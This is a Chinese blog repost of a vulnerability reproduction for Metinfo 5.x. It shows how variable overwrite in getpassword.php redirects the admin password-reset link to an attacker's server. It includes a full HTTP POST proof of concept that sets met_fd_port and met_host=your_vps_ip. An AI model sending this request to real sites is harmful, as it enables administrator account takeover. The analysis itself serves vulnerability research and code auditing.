Metinfo 5.x 管理员密码重置漏洞
Posted hac425
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Metinfo 5.x 管理员密码重置漏洞相关的知识,希望对你有一定的参考价值。
前言
在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的。
正文
首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件。
首先包含了 ../include/common.inc.php
, 在这个文件中可以搞清楚对我们提交参数的处理。
把提交的参数注册为变量, 这样的代码非常容易形成变量覆盖漏洞。
在 getpassword.php
中 首先注册提交的参数为变量,然后生成重置密码的连接,最后发送出去。问题就出在发送链接的流程中。
发送时首先通过 jmailsend
发送,如果发送失败,则使用 curl_post
重发一遍。
curl_post
中会向 met_host:80
发送 POST
数据, 而我们可以利用 变量覆盖 设置 met_host
为我们自己的 vps
, 然后我们就可以接收到密码重置连接了。
下面就是要让程序能进入该流程。
在 jmailsend
中 met_fd_port
为邮件服务器的 端口,我们使用 变量覆盖 设置 met_fd_port
为一个随机端口,就会导致 $mail->Send()
发送失败 返回 false
, 然后就可以进入 curl_post
。
最后的 poc
:
POST /admin/admin/getpassword.php HTTP/1.1
Host: hack.metinfo.net
Content-Length: 115
Cache-Control: max-age=0
Origin: http://hack.metinfo.net
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hack.metinfo.net/admin/admin/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=10334; re_url=http%3A%2F%2Fhack.metinfo.net%2Fadmin%2F
Connection: close
action=next2&abt_type=2&admin_mobile=admin&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=8569&met_host=your_vps_ip
vps的 80端口就可以接收到
总结
拿到一套程序首先看看对提交数据的处理,如果有 变量覆盖 漏洞,就去可能出现漏洞的功能代码里面看看能不能利用 变量覆盖 漏洞,一些不好静态看的东西,可以自己测试一下。
参考
https://xianzhi.aliyun.com/forum/topic/2097#toc-0
以上是关于Metinfo 5.x 管理员密码重置漏洞的主要内容,如果未能解决你的问题,请参考以下文章